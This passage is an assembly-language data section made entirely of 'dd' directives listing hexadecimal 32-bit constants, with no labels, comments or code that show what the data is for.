dd 0CCE449Ch, 0EBCD8400h, 92342781h, 0F4F5016Ah, 0D0991098h
dd 203BC4ECh, 0D4CFB600h, 5EFE15DAh, 0C54C000Bh, 237BD3B8h
dd 0F300C414h, 0EEA48C88h, 40E27Fh, 0BDDF87B6h, 0B858E7D8h
dd 0B7A85001h, 8D9F93B4h
dd 16894FF0h, 60F466h, 0B51FD00Eh, 3607C972h, 0A1BFB9F5h
dd 80DC0BC3h, 0A88B9DE8h, 39765488h, 92009A06h, 4641779Fh
dd 0CB4AC6FCh, 0AC594C00h, 1CB3F0A7h, 80ED6E85h, 0A268BE40h
dd 33302514h, 0D4EE984Fh, 30AB00C5h, 13432936h, 4C549DDEh
dd 0C400B0BCh, 0FA0D2D97h, 0E610122Fh, 50B8B3h, 0EC07334Eh
dd 75F1BEC0h, 3F8DC61Ch, 927D1045h, 0F4180890h, 8A0B0B65h
dd 9489ADC7h, 0C99AC82h, 85D08493h, 8A076261h, 0FF30DDD7h
dd 274BF480h, 5487B29h, 9F2DA725h, 0B1A4C054h, 3A008E74h
dd 0EF292442h, 1E302A73h, 5E1BF4D4h, 0C8187C4Eh, 451121CCh
dd 60027F6h, 19189F90h, 9CBDB8h, 9648492Eh, 603D7198h
dd 93643600h, 67853FA7h, 86C40127h, 0FAA8C184h, 7BF00D6h
dd 2E500A7h, 14EF67BEh, 3D00510Ch, 0A5A69A79h, 5C0E53h
dd 10BDB33Ah, 6D81AD97h, 0B48B30C0h, 4514CC9h, 0DE65CBA5h
dd 76E0D03Fh, 0D2156343h, 77D89721h, 0E754AC00h, 0E65947F6h
dd 18E114B9h, 36009CABh, 4A6DC403h, 0F000B52Dh, 0D8B03545h
dd 3A51422Ch, 0F45C8565h, 0D96D4800h, 5404189Bh, 0E4F8E300h
dd 3A49CFCh, 0BABC1697h, 4750816Ch, 0A0E3E00Dh, 8087C53Eh
dd 72EDC918h, 30910A4Bh, 4848A7CEh, 9D00D09Ah, 0E7E08BF9h
dd 48AAE212h, 0B90E37CCh, 5E7EEE71h, 8230C51Fh, 0CA2080A8h
dd 0ED01C4AEh, 5F377FD7h, 0E5FB193Ch, 0FE2B7080h, 571E0127h
dd 7EF01B20h, 7886815h, 603B1611h, 0C807C0B2h, 0F4EE010h
dd 61AA493Ah, 0F8A0C132h, 0DB9851C8h, 2E29BF16h, 6A02DCFFh
dd 6019CAF4h, 1D525CD8h, 1E72B3h, 71FD4CB2h, 5754D3ADh
dd 18C001E8h, 305B4ACDh, 0A1B0024h, 0E1FB6FFEh, 0C7012FC8h
dd 0AD61DFB1h, 0C9F84CAFh, 72102469h, 17AA008Ch, 99511821h
dd 584B9103h, 0F009F038h, 7F247Ch, 479DA28Ah, 5C986DD7h
dd 0F19C6600h, 51644F7Dh, 2FF000A1h, 0B6787ACCh, 0C1486319h
dd 1FF44037h, 69550F01h, 0E15DF78Dh, 396BBC60h, 8C021B43h
dd 0AB2E65DEh, 44000058h, 0AEBF717Eh, 0E495111Fh, 402A009Ah
dd 9B16FE6h, 803DF257h, 31210291h, 0E0AF08C3h, 0CA4C98h
dd 938910DAh, 91D7413Ah, 328739h, 0DFF4369Bh, 0FB911B5h
dd 6160B6C1h, 707FDD67h, 9295BB40h, 23E6F400h, 4745BDFFh
dd 0C6760529h, 0C080A5A7h, 0E6E29CA8h, 83433500h, 0ADE0E50h
dd 4EE90295h, 9F8D6E76h, 54D0B963h, 0B803AA57h, 8EA072D8h
dd 410012Fh, 0FBDE6CBBh, 69647090h, 541DB61Fh, 3A00F468h
dd 33010216h, 38193E71h, 0B50076C9h, 28DA3807h, 0C425ABA1h
dd 0A07C20A7h, 765D6F39h, 16D5009Ch, 47AD6B65h, 0DF3B3173h
dd 682E8070h, 0F8BE7172h, 191C0060h, 2F3A9895h, 70747567h
dd 85DBF00h, 3C71EAD9h, 0AEE50016h, 0BC03F879h, 0DA5C1ED3h
dd 0BA9500F7h, 22C80714h, 5A97004Bh, 15A5F51Dh, 46502C9Dh
dd 7C5C62E1h, 14490307h, 908CE3D2h, 1B2F217h, 419D832Ch
dd 0E4AB34F7h, 0FF002DADh, 9F6DD1E0h, 4CCD4A36h, 190697FCh
dd 118D683Eh, 4E272B00h, 0CBEF8120h, 0E1610018h, 0F96CDF69h
dd 0CC00E69Dh, 0DB4A3DA0h, 0C1EB9CF0h, 554C3F18h, 9540807Ch
dd 0D9CB625Dh, 8F10C07Bh, 0B22CBA33h, 253C96B8h, 6C00F4E6h
dd 0ECB1ED2h, 33474Dh, 0F5807FC0h, 45329EFDh, 0F455F01Fh
dd 0F6D03EC0h, 24047A2h, 25C6901Eh, 0B880AE17h, 10A630EDh
dd 7AE60900h, 0EEC0DEABh, 953F074Ch, 101291D5h, 0F3FA69DCh
dd 439F500Bh, 737806Fh, 123D6D4h, 0F5714C34h, 600CE01Ch
dd 0EB009D47h, 0F658CAAFh, 14EA5344h, 0C2F57D91h, 5BC22303h
dd 0EE884FFBh, 4800F295h, 0B86308F8h, 7A6C09h, 0A536A911h
dd 5DFEFC8Ah, 0F771E217h, 0B09E940Ch, 4B7962h, 15D887DFh
dd 1D7254D6h, 0A8C71300h, 0E517EF33h, 0DE110051h, 1E0A0E0Bh
dd 941CE901h, 8241553Eh, 8A37E371h, 35F020D5h, 5D331B30h
dd 62C8F078h, 6001CD61h, 92EA80FAh, 0D09EE176h, 0F7D26Ch
dd 0AE5F481Fh, 800A393h, 0F4D9A9EDh, 2D5580h, 0E8FB25Bh
dd 3FACBAA8h, 753F367Bh, 4A8D0074h, 0B29EE7E9h, 3D400041h
dd 50E1BE57h, 0B704F6CFh, 0A08C6927h, 949B0490h, 75563838h
dd 0C9DF1007h, 0AC43A025h, 0A100B9C3h, 0B63EE01h, 728070E5h
dd 1D0F004Eh, 3C34E0AEh, 0D700B812h, 0FC1475C5h, 164FCBF1h
dd 1578CE62h, 6A0C4013h, 76D9F5C6h, 1DD38A48h, 421D9A70h
dd 0B26AFC05h, 0F4781005h, 0A0681C00h, 0C36241D5h, 7E207508h
dd 707C1878h, 91102300h, 0CA6AAC72h, 297F0374h, 0EC26C833h
dd 0DD024100h, 0EDB2D470h, 2C9A020Fh, 6449F099h, 0F8282003h
dd 1F5D16CAh, 1495C1E5h, 1E000C78h, 7A3407AAh, 0DB00E7DAh
dd 0EFB1B9E5h, 429A35h, 50E2F9F7h, 0A89D0CDEh, 61D238h
dd 0A0F6D9CFh, 1831E726h, 886DB9F7h, 8202C77Dh, 0A508B05Ah
dd 2854E097h, 179800CCh, 0A08EA450h, 900B3ECh, 0EB820D90h
dd 0DAC8C1h, 0BC0F7FBDh, 9E3D5007h, 0AFB0AA00h, 0EB3BBDEh
dd 0F8F51890h, 77B304Dh, 893F5200h, 8AF2F149h, 5A9300FEh
dd 0EED243CEh, 4ECF93Ch, 0D800CDECh, 0A9D4BEF0h, 0E7F138Eh
dd 988B3890h, 64A03FAEh, 0D4D0C987h, 20001AE4h, 3E01D8DFh
dd 0EF83C14h, 0FED3FD22h, 1F7C0240h, 820052BCh, 80967B32h
dd 7B68385Ah, 2E000B7h, 419EBF3h, 5000F1C5h, 1B16DA14h
dd 1CA74CFAh, 84F09B89h, 929E4F85h, 4B69D44h, 0B4149952h
dd 10EC042Fh, 10F1C330h, 7CED8375h, 8F42121Ch, 4478001Eh
dd 734F1F9Ch, 3E87103Ch, 0A5760CD8h, 846B29EFh, 42210E22h
dd 0F08E119Bh, 111FD711h, 0EF111B70h, 647D4C51h, 0F23D329h
dd 42C348CCh, 0BF24E670h, 12182621h, 0E8CA13D7h, 22201B22h
dd 2B221559h, 0FF9E2252h, 72210724h, 103F120Ch, 1D410396h
dd 5CD10D2h, 6F081389h, 0EF51F465h, 6FA5004h, 64426748h
dd 44B25F6h, 48098414h, 0F903427Bh, 9B403724h, 0D07ADD46h
dd 156DCF00h, 4B8C71E9h, 0E03D079Fh, 90EBBB5Fh, 7BAC6E19h
dd 5CDF8400h, 95F6E78Eh, 31B3012Ch, 0C99A7FEEh, 607BE866h
dd 7CA1082Ch, 0DC6DE00h, 17988E13h, 7AE840h, 0E599160Ch
dd 0F20164BEh, 5AD7F871h, 846437ADh, 0BA0501EDh, 79CC8297h
dd 4F96F0EEh, 44E8FE1Dh, 0DDB419C3h, 0D7101D4Dh, 0ED9280A3h
dd 7BAB7464h, 40D949h, 0A679F169h, 3EBB83E3h, 0A11619F8h
dd 388106E1h, 4A0010F7h, 0C905574Ch, 245D9013h, 9F60A9E6h
dd 80D02C02h, 3020D4BCh, 0C500AA3Eh, 0E706A3BBh, 5CACC2ABh
dd 0E9006468h, 40C9F2F3h, 0DA7BDEDCh, 0BBEEFD1Ch, 0D0712C5Fh
dd 1CF1F28Dh, 0F0C89C70h, 613A0098h, 1A59DFBBh, 0F5731851h
dd 58E2D0C5h, 0A594A090h, 0B1573AC4h, 6C9F6F80h, 0B504275Ah
dd 734A9503h, 0C0BE8F92h, 0F7AD7928h, 1CA860FCh, 44577075h
dd 0C0A7C78Dh, 4E9D18C3h, 2DE31000h, 0B78CCD69h, 0EEB90045h
dd 438B9085h, 9D01C8ADh, 3FFB1375h, 8C713602h, 2005D6C4h
dd 2B7BFD97h, 0E08ACD00h, 0F9A61DFFh, 5BBB00A1h, 6FD02D2Fh
dd 6103DBCBh, 6BBC7EA9h, 0BE2CC874h, 0A6060357h, 0FE41A2DCh
dd 36D98AD0h, 0F08BE604h, 0AE0599D8h, 94B400F6h, 3B3D51A9h
dd 85D73E00h, 0B2546B7Fh, 62970009h, 116A3CE2h, 0C0F2AF3h
dd 0C0149626h, 85E5A8DDh, 0B3F0A8A5h, 475D09B4h, 8500CC74h
dd 93E3B102h, 9AF88854h, 0A2A79C3Fh, 0A5F12818h, 59BDFA87h
dd 9B0E2080h, 56C0C03Ch
dd 8869ED4Dh, 0BF11F900h, 0DCF75E32h, 1609076h, 60DB4096h
dd 2172E8CEh, 1FCFF446h, 70012D00h, 461154FAh, 0EC50EB0Fh
dd 331A98h, 10DA99A0h, 3D45A3BDh, 0FB734C00h, 0D247ED36h
dd 6C4B009Eh, 863ACBDAh, 8F008E75h, 45953D06h, 7631F8FDh
dd 4BFA00C7h, 0E4D4CF94h, 8003FBB3h, 97DE7AD2h, 0D5C00088h
dd 30627FEFh, 7B00B657h, 0B15540ABh, 88ED01h, 0BA53355Dh
dd 0A2B01677h, 3E47A41Eh, 5C9C8DC0h, 0D16275h, 49AAA6EFh
dd 0C65F2508h, 0D0E7E900h, 718FBFF6h, 17780056h, 2FDFC8DAh
dd 3D540F12h, 3A006098h, 36E586A9h, 7AEE5109h, 25400079h
dd 13A76EDAh, 62704D26h, 8C782A00h, 3C32B42Ch, 8B1A1453h
dd 0FF07946Fh, 0F0D6E2E3h, 15F23724h, 3560C300h, 574B39A0h
dd 1E71EC4Ah, 40F68FF9h, 0D0623641h, 79017CD2h, 0C5E38D7Ah
dd 25E07BE0h, 60491D0Fh, 0D9CA405Dh, 301EBFABh, 2F90FF50h
dd 9EA27C1Dh, 46B47A40h, 9AD015h, 0BC52B3B0h, 0E354B0Dh
dd 97131900h, 0C3CC4358h, 21E20328h, 0CD8996D5h, 5F201004h
dd 94C0AB2Ch, 3B63AA92h, 0FA800AE7h, 5DC00CFDh, 72C0223h
dd 0EE0084F6h, 0BBA5506h, 0D8E00D0h, 8BA439A5h, 601205FBh
dd 24C00EDFh, 774512Ah, 0AEC13B20h, 45F970CBh, 80FAED56h
dd 0C3051E09h, 7230A0F6h, 295A9D15h, 0C445E7h, 44515514h
dd 690F7B1Eh, 0EA9CD496h, 8A00B065h, 0C20B10F5h, 0C4B30006h
dd 264DAFB2h, 330127F8h, 3F8EB0B8h, 0FEFC402Ch, 0D5D90314h
dd 1C93CD91h, 8BF864A3h, 881FD76Ch, 65009542h, 0F263762Dh
dd 79DD0081h, 2AC28CDFh, 100077DBh, 0E573CF21h, 15D0F49h
dd 68E8FAB3h, 619623B2h, 7683C4AFh, 0EB0092E8h, 1FACC4F9h
dd 0CA9C93h, 6AA4BF20h, 0B1B5CCA3h, 0A8408004h, 0D0C07557h
dd 3FFEC79h, 36C314F5h, 8CD0480Fh, 0F17065ACh, 0B71A0100h
dd 10B3133Ah, 0A34C0063h, 4134947Eh, 9900EE15h, 42665075h
dd 2DC68ADh, 0F75222FAh, 29C0E8F9h, 48008874h, 0B19F3FEBh
dd 39425440h, 0D104A693h, 0C3201E4Eh, 9B8D4E4h, 9402A3FFh
dd 0E154ADBAh, 0F43C608Ch, 0C74C5879h, 53213700h, 5E1D3489h
dd 2F508600h, 0C5964982h, 0EEAA60BFh, 0F8FC2C11h, 36088300h
dd 9DF4B16Bh, 4FE01F2Ah, 0A3B20060h, 0D3AA8749h, 0F43A800h
dd 0E2ECAD44h, 52880016h, 0BDAF6048h, 9700A551h, 32F8E350h
dd 1EA6DE8Ah, 406DC97Ch, 0B066BFCCh, 5A079FBEh, 0AB1FAD02h
dd 0B820F883h, 98CE7015h, 5C010E5Bh, 45A02214h, 90C7EA53h
dd 0F43AF102h, 61D97DEBh, 1606FB8h, 8C4F0F48h, 0ACCE9DB5h
dd 86D739C2h, 2F954060h, 0F1224000h, 6B3B7696h, 71140081h
dd 1D492CC1h, 7A0092F6h, 626FD637h, 1FFE07E4h, 805CCD1Ch
dd 0AF91A236h, 93FEA66h, 0FA1FB2C8h, 7F4060E8h, 56312C4Fh
dd 0AD0E00CCh, 0D52933DBh, 0BE446300h, 0B0F33766h, 90540AAEh
dd 80D4BA0Fh, 0ABC89297h, 7F501F6Ah, 54007AD0h, 0E7581D73h
dd 0F4C195h, 2B268D92h, 47B5A912h, 549D4B00h, 2072311Bh
dd 92150055h, 10D36887h, 0B13F9544h, 487A0071h, 8EE2D040h
dd 38E1C0A8h, 836B8426h, 311D4F74h, 0C480D220h, 1F6F927Ah
dd 72870034h, 815D710Ch, 0DCF31B33h, 9400C6EAh, 0F96E733Ch
dd 3A1C338h, 0FE351F53h, 80C436E0h, 0D5AF66FCh, 4EB6C400h
dd 357B2F93h, 43F3241Dh, 9C6A0028h, 0F74AFDDEh, 95B7EF00h
dd 0C354F84Fh, 0E9CCA085h, 0EE9300FBh, 87CAA344h, 0BDF40C9Fh
dd 9CF8D504h, 10F04959h, 0B6A4002Ah, 51321C18h, 89E67081h
dd 0E3E54600h, 3C3DAEBAh, 9A5B1E39h, 11CC689Dh, 1652BBBh
dd 11E97013h, 0E8D4D2C5h, 4B410h, 28CCDCBEh, 38000A98h
dd 5CA91DABh, 7E53FEFh, 3E2F8EFEh, 2E9B726h, 0D48035C1h
dd 58700B7Dh, 941958h, 0F33B6C2Eh, 0F0F0E5CFh, 17B100BCh
dd 7B1C7210h, 3CF0EEB6h, 11EC0205h, 73BC0B63h, 5290D500h
dd 950F064h, 0C8E9902h, 60AD0A2Fh, 1FF42AACh, 14DBCEh
dd 29C2E696h, 0B7B03431h, 0DF032713h, 0DE603100h, 0E40B261h
dd 2541D244h, 4880F209h, 0E6F412C7h, 266BA01h, 70FAAFEh
dd 3FD32470h, 0E88074CEh, 0A14D8677h, 641E2419h, 1740E5B7h
dd 318A73F3h, 94250E06h, 427DF7ECh, 44ED2EB0h, 9800A450h
dd 0DBF01E2h, 5C607814h, 16009897h, 8E13261Fh, 0EA0188AFh
dd 15367B22h, 20809F96h, 0A06286ABh, 1959DF3Ch, 0F5D50000h
dd 0A5B75830h, 88AD0059h, 0D83F383Eh, 6C017E86h, 2AD053DEh
dd 28606E4Eh, 15C9833h, 0CA27236Bh, 0EC0672E0h, 0C60030F2h
dd 78668726h, 0EEE01A6h, 2022FF38h, 7CF5F600h, 9558184Fh
dd 36270005h, 9AAFE0EFh, 3D78037Fh, 2F746530h, 0A216AB8h
dd 6B0075F8h, 5B7C5E17h, 70FF6FEh, 33A331C2h, 1D3AF097h
dd 7028094h, 0EAE7C1FCh, 0AA4C0F9h, 1679006Bh, 89B233A8h
dd 483C1E01h, 746A80E7h, 0AE2FAB1Bh, 8C46016Dh, 0FC56C518h
dd 5DC6852h, 0C708FA69h, 179AEC20h, 65C830D8h, 0A9935EF8h
dd 417E211Ch, 795906C3h, 0A171E0EEh, 0EAB4716Eh, 0E4AA00A4h
dd 77C967F4h, 600B11C4h, 985521h, 8F1E4020h, 7FD30E5Eh
dd 401DE597h, 48A9AA08h, 0D103EA5Fh, 734D417Bh, 0D39A9B69h
dd 0D046AB0Bh, 38CFFE0h, 78EDF6CFh, 11961968h, 0BB25E4EBh
dd 5D849702h, 70C435B9h, 0DF1200B4h, 7F651883h, 59004571h
dd 0B581DD52h, 3E86733Bh, 3900431Eh, 5CA3DF1Bh, 0C0F658Ah
dd 0C0D3D814h, 7DA4BD32h, 10D760ABh, 1C7091A5h, 61CFDB03h
dd 91780E1h, 0A3CC5769h, 0B4C0A8A0h, 0A700D21Ch, 36499786h
dd 90990C7Ch, 0CABA12D2h, 80F8014Dh, 0DCCE8B62h, 4B7ED40Ah
dd 2BEE3Bh, 506A5DD8h, 486CD38Fh, 3C001F3Ah, 0D0708BC1h
dd 3405025Ch, 4CE8F1A8h, 387658C0h, 2E3A01ACh, 307EEED9h
dd 0C89DCCEFh, 0C8E983Eh, 7C31CC21h, 8F90079h, 0B5E10D63h
dd 9703F720h, 6D696577h, 0D8E3CB8Eh, 2B21D3Eh, 2A0AC68Fh
dd 0C8509F7Bh, 3A69D900h, 0E4E6E0C8h, 782D00C1h, 3A7684Ah
dd 9400E89Eh, 49DFDDFBh, 198E93DBh, 0E83B2E86h, 0B011C0A3h
dd 0E4AD0700h, 6F1D5191h, 0F6D00A6h, 74C1D383h, 150046AEh
dd 0E034100Bh, 0A264FEh, 6FBCA6F8h, 19DC41A3h, 6D43E200h
dd 2A17849h, 0F2FA03A8h, 596B1266h, 99E34C90h, 90865800h
dd 0C65F1B93h, 0B579392Fh, 34AAA100h, 2BB77BAFh, 309E672h
dd 77C84DAh, 1BA18DB3h, 82C872C3h, 4A8807D3h, 90F13578h
dd 603B6391h, 58DEBC0Bh, 1B1D0215h, 9EF860CCh, 0F86C012Dh
dd 0C53F23ECh, 91A4201Ah, 1623500h, 9237DBB4h, 6DC70603h
dd 0FEAC31ADh, 0AF998B00h, 0F34FD130h, 111CA83Eh, 3F620216h
dd 79BE9D03h, 0FCB51C40h, 329B0100h, 1C5BCE69h, 4E7A0Dh
dd 9FD4BA65h, 0C7220E70h, 9884F22Ch, 8AECFE80h, 406B99h
dd 0E4EFFB0Ch, 0A7BA1E41h, 0F193C500h, 0A4D1AB63h, 203B00FDh
dd 82A96FCAh, 41139DC3h, 86004A44h, 76892BC6h, 511200C8h
dd 0DB621FCEh, 970028ABh, 0C3CF2A59h, 1C816CB9h, 971A4A6h
dd 3485A2E7h, 0D790C202h, 8C237540h, 543E6307h, 0C070DF79h
dd 7E8965Dh, 785122D9h, 8D660091h, 90A8AF87h, 0A3165FC1h
dd 65003042h, 2684EC3Ah, 759018h, 0C351F7F3h, 95621504h
dd 3E3B1B0Fh, 0EC928EF9h, 4CB35075h, 30F7436h, 9AB65B2h
dd 8EA5ED83h, 49A42100h, 55638A2Ch, 7A200BAh, 4E5044F0h
dd 5BF23848h, 0A5C35C1Bh
dd 4B57B819h, 0FC09393Ch, 69911902h, 0ABE0A4ECh, 60192F0h
dd 175D256Eh, 6CD0044Ah, 0D1F50021h, 0EEEFE5ACh, 30ED426h
dd 0AB9C8157h, 7EC30082h, 3FA297DDh, 5B003037h, 0FD66393Ah
dd 60009FAFh, 562968E7h, 7B3538Ah, 2045B6ECh, 8028C0D6h
dd 0BF00B03Eh, 37C256DEh, 1ECBC514h, 0C0A24B9Dh, 9B447F92h
dd 8098CE1Eh, 0EB8083FCh, 775600D8h, 0E6890616h, 5D17B4C3h
dd 201E73DCh, 7FF19442h, 164CD8B6h, 1538FACh, 8798C604h
dd 0D11834F7h, 4069900h, 19F547E4h, 0F4ED389Dh, 0B3AF5200h
dd 6133EA42h, 48444Ch, 0DBC6BBF7h, 48697A96h, 0E029BCCh
dd 171BD0ECh, 2A494461h, 8ADF0405h, 16B7C87h, 0FE910ABCh
dd 60DBF1E4h, 0B60D2816h, 3B00C7D9h, 6FEF041Fh, 38668Eh
dd 0C306067h, 0F83EE28Bh, 0F3AA3500h, 54B77C42h, 0B8160058h
dd 0BBA267D7h, 780E0D3Fh, 60BF2245h, 0F39F91BDh, 143A0379h
dd 0CF511549h, 0D87796E8h, 70B57103h, 0A3CB3026h, 9062C8DEh
dd 0CE5F009Bh, 5C148CC5h, 0ACA07FA7h, 2F00BCA9h, 0A6934506h
dd 71ED775Eh, 0C11500FCh, 874A1130h, 0E200A2AAh, 543B9240h
dd 1FE504AEh, 0C05D4570h, 319680A5h, 0D05185Eh, 0EC82D30Bh
dd 47989080h, 594B1385h, 0E7A00075h, 223D801Fh, 1E41E4Dh
dd 8EB0F13h, 43FCA796h, 0B5FB0060h, 2E1DFFE1h, 8107189Ch
dd 0A53F7571h, 0C0E4E32Bh, 1EDD754h, 72EABACh, 60A48540h
dd 0D827596Eh, 0BE081F8h, 0AE8208CBh, 3C8C76BBh, 0E20586E0h
dd 5E488D18h, 76F2B4B9h, 0BB1DC3Ah, 4C186CD0h, 0EE816A50h
dd 78E606F1h, 913F0094h, 0E662F3A0h, 59001705h, 28309C23h
dd 0C02FB504h, 828F92D8h, 0D6007B6Fh, 0ABBE8A47h, 9935558h
dd 344191FFh, 6042D4A6h, 69868800h, 0E305160Ch, 5CD7008Ah
dd 0C4A34AFAh, 9D012198h, 6FFF2318h, 21704CC0h, 4A4D24F6h
dd 0B5C9007Dh, 0D981FEA4h, 778ACF00h, 1002F133h, 0D272B9h
dd 183DC9D1h, 0D7CCCA9Dh, 7FED4C00h, 0B613FB72h, 5A140335h
dd 68B2A90Dh, 0CA4E1C0h, 98C8AC30h, 305797D2h, 0DE403C48h
dd 0FF00B320h, 8AB29AB8h, 12254566h, 6B31D5h, 7D155388h
dd 0CA001CA8h, 45E0761Eh, 786248h, 0F4ACA673h, 50F3EB14h
dd 0D8B0BA00h, 1C35463Ch, 8C0A1842h, 4F4B39B5h, 780050F2h
dd 0E78A0517h, 62C3C8h, 0F6C79AE1h, 99625C0h, 692ED807h
dd 0FA71226Ch, 0BC402AE2h, 74888D90h, 50891E6Dh, 0B92100FBh
dd 9A806633h, 29B6C900h, 0FFABCA75h, 3854008Dh, 3B9CE75Dh
dd 4600321Ah, 6B35F9F1h, 0F8CACFh, 73073F4Fh, 8017D050h
dd 1407D48h, 0AD979431h, 2F30EB6Ch, 64C500FFh, 98993D65h
dd 0F2F2D1B8h, 0C88ACA00h, 367B93FAh, 187D004Ch, 4E21C56Dh
dd 0CFB81F08h, 0B3744002h, 40EF0AFAh, 178FC040h, 82F24C2Ch
dd 18E0949Ch, 0C3048B7Bh, 9336D99Bh, 8D1E30B8h, 3CF5409Fh
dd 1AFFB1DFh, 87679D00h, 597CB768h, 0CDA20041h, 965B4FC3h
dd 0F72E644Ch, 7D00C89Ch, 1DC9E283h, 25EF1CA4h, 897100ADh
dd 0E00D8F32h, 0DBCA3B00h, 0D27A9895h, 77A704EDh, 0C09F3A1Fh
dd 7E21B5ACh, 52256500h, 0A514AC7Ah, 68080231h, 0DD588F9Dh
dd 0F55CF3C0h, 0D26D3E00h, 0BCD9D51Eh, 11EB60BDh, 0F53542A0h
dd 0C77A9200h, 0BFAF21E5h, 0E75A0F0Ah, 4A0074C4h, 7F5052DBh
dd 22AE101h, 0A9438128h, 0EAC4E831h, 832C01C2h, 787DBCA7h
dd 92E868B2h, 6775AD06h, 186A00BCh, 0B85D2F8Fh, 0E37E5AA8h
dd 249959h, 97105E09h, 39DF2134h, 9307818Eh, 90E1D36Ah
dd 522C08C9h, 0EBF49712h, 81998482h, 2602A39Fh, 66C4C983h
dd 0C001D1BBh, 6AAD9013h, 9040B405h, 331CD45h, 5524E88Bh
dd 792594C3h, 798E76Dh, 73FB85A8h, 7170E40Ch, 368EC712h
dd 12900441h, 5FF00431h, 3D40EE7Bh, 588011E2h, 1A2568CBh
dd 850EC2C8h, 0A03CAC70h, 0A637789Ch, 20DD31F0h, 647943B8h
dd 8AF8178Ch, 0F7B43251h, 0DE7F7AF8h, 13017038h, 10A180DFh
dd 156C7986h, 3500F11Fh, 515D81BAh, 1D5B4A2Ch, 1424DAE2h
dd 4D02CCF9h, 819AC8F0h, 825A5041h, 8DCE0841h, 24F4F87Eh
dd 17D563Ch, 0DC8E0BB9h, 234E4A1h, 0AD490E01h, 69ECBF2Dh
dd 63D65BE8h, 0BD18AA88h, 5A9FC5C0h, 0B6275400h, 0A56BBBAEh
dd 0BE581550h, 7224AC3Fh, 0E085076Ch, 95755090h, 0CD028ECAh
dd 0BA19E18h, 0CFB8A019h, 6BDBFA73h, 6400A166h, 56398F54h
dd 8058793Dh, 4FF9BD8Eh, 6B99CDh, 0EB02AB83h, 0CC30F1F4h
dd 120B6E1Eh, 0F98EB400h, 48BF8194h, 1C00CE36h, 5A73AB61h
dd 9771FD58h, 5DCAF100h, 0FBE40BA0h, 8F600020h, 149021FEh
dd 300DE26h, 0E3E57D54h, 30DB50h, 7137DC05h, 4CF6F818h
dd 0F3EACA00h, 527FCF90h, 287C68h, 620C2A39h, 0D8C827EDh
dd 306EACA8h, 2B424Ch, 0E2C03809h, 0F0ECFBh, 173FD665h
dd 10F6D06Ah, 7A099CB8h, 7B0DF1Fh, 9E809789h, 14967E3h
dd 0EFF4DE8Eh, 0D092FACFh, 560078DBh, 8996D451h, 5E9D1544h
dd 0F280021Fh, 58609222h, 5A049AE9h, 0F5E0E46Bh, 95B84E0h
dd 0FECCEA95h, 8A0C88Eh, 0F29206DBh, 0F547213Bh, 962BE800h
dd 4C3E948Eh, 913007Ch, 0FAEC476h, 0FD047A7Eh, 1D9FB95Eh
dd 227C48E0h, 0BA0BA0CCh, 48F421CDh, 54896E9Ch, 2228496h
dd 578E59ACh, 60C073C2h, 2F019A21h, 3A1C3240h, 502C1BF8h
dd 1E0F011Fh, 461E726h, 34402A4Fh, 0CC8751FFh, 0EA4700F6h
dd 85E9FD5Dh, 24134376h, 0B4020FB5h, 60739C62h, 986B3B10h
dd 8A9401F5h, 8E010B64h, 56E3E4DBh, 43FC82B8h, 0AD7B587Bh
dd 77E0C302h, 0FA2EB03Bh, 7E40720h, 0B083DE19h, 0C0FE6F26h
dd 7CE8F803h, 0B1E706A2h, 6A70D1EDh, 0E6C28FBh, 5A7A009Ah
dd 19C1B450h, 0C60773E5h, 2D168512h, 95836F00h, 0C590049h
dd 818FD506h, 0E7002275h, 7C2AB3Fh, 2CC8A3Dh, 0F8310FFAh
dd 8080EF2Fh, 72D52E33h, 65D7C800h, 847A01ADh, 45970743h
dd 10D377D8h, 0C4661169h, 0D78C7303h, 4F8634h, 29BB2492h
dd 0E1827806h, 73EE5E0Eh, 1900B58h, 5FEB654h, 2E006069h
dd 776D0F48h, 1E1EC06Bh, 0F280C633h, 1568636Eh, 62597Ah
dd 80E1004h, 0CBD490ADh, 0C07EEE87h, 0AF604901h, 6483C792h
dd 0FD861DAh, 9D9E1424h, 0EE6EB898h, 81848C07h, 25B0321Eh
dd 3BBF70FFh, 685C03F7h, 0DAD43C60h, 0EC0085A1h, 0F6CD1437h
dd 82D0C5h, 1A4BB119h, 0DDC087EBh, 0DC5A9800h, 70954234h
dd 7F670032h, 9BB5C697h, 930013A0h, 362A8CB0h, 7CDF1ACDh
dd 0FCE13EC2h, 0A500A3BDh, 9E1BF9E0h, 1600DE3Fh, 40865A68h
dd 49186725h, 57006002h, 6EF07B78h, 615D061h, 1F8076CFh
dd 0E4DE0E24h, 5B1F3F81h, 6C2BC1h, 18DCD900h, 0EA6642E3h
dd 31DF490h, 3EFBA7h, 1AE92E6Eh, 5C55E2BCh, 4300BBE4h
dd 97183F3Ah, 27005B32h, 0E06C60A2h, 1636B7E6h, 5D0BF2Ch
dd 900BDA24h, 35D2918h, 0F4883126h, 0BBEC5100h, 9FAC7E14h
dd 260EC01h, 0F6C6056h, 0E05C8C2Ah, 48181A0Fh, 38108089h
dd 25A070Bh, 6F2BF48Bh, 0ECCCAF9Ah, 360017B0h, 7544E086h
dd 4606CA2h, 0B34CC0E6h, 0D8FC8095h, 7C12A78Bh, 0F8E0CC1Eh
dd 6FF02CBAh, 0C92200F9h, 0AA782505h, 0B5A7F800h, 0AC2F606Eh
dd 0FC204DF5h, 0D0DFFF00h, 6F062C24h, 9E700378h, 1A4A1C00h
dd 7CB2BB28h, 0EA5A2A93h, 0C3200BB8h, 4009ACEFh, 6800A893h
dd 8B592909h, 7482E74Ch
dd 2B6E026h, 4D39BA1Ah, 8189D69Ah, 0F8EA90DAh, 2B906A00h
dd 9F812141h, 3078B8CFh, 7569968Ch, 0FD4BB90Eh, 0D5B3AC80h
dd 885205CDh, 8469DA98h, 816CC04Ch, 0A14C94DCh, 63D500C9h
dd 38C3303Ah, 0D0450F83h, 2B25ABC9h, 50D49715h, 4C477FA5h
dd 0D3EE3913h, 4850EC0Ch, 0B2DD007Eh, 0A5EF1C68h, 38593AACh
dd 2A4E00A0h, 0C0B9A07h, 0B75B00F0h, 4BE2D7B5h, 0F20B27ADh
dd 0EC546Ah, 0DC3DCC60h, 2F300039h, 0C3EA5FE5h, 3E4A4617h
dd 0D0E76C82h, 0F995089Ch, 83BD5123h, 18F5D6EBh, 9EB6988Ch
dd 0CA8601ECh, 88D9DB17h, 0A58FD047h, 0DC5B4100h, 373FE959h
dd 0C0CC92C3h, 0B5D0C6D9h, 0AC4972DBh, 58E92EF8h, 18F3DD01h
dd 4824A85Ah, 0BD403A87h, 0CFEA8A1Fh, 70A034C4h, 69A73635h
dd 0E5163Dh, 0DE61577Eh, 76F1ED3h, 9E7F5FF3h, 435DD378h
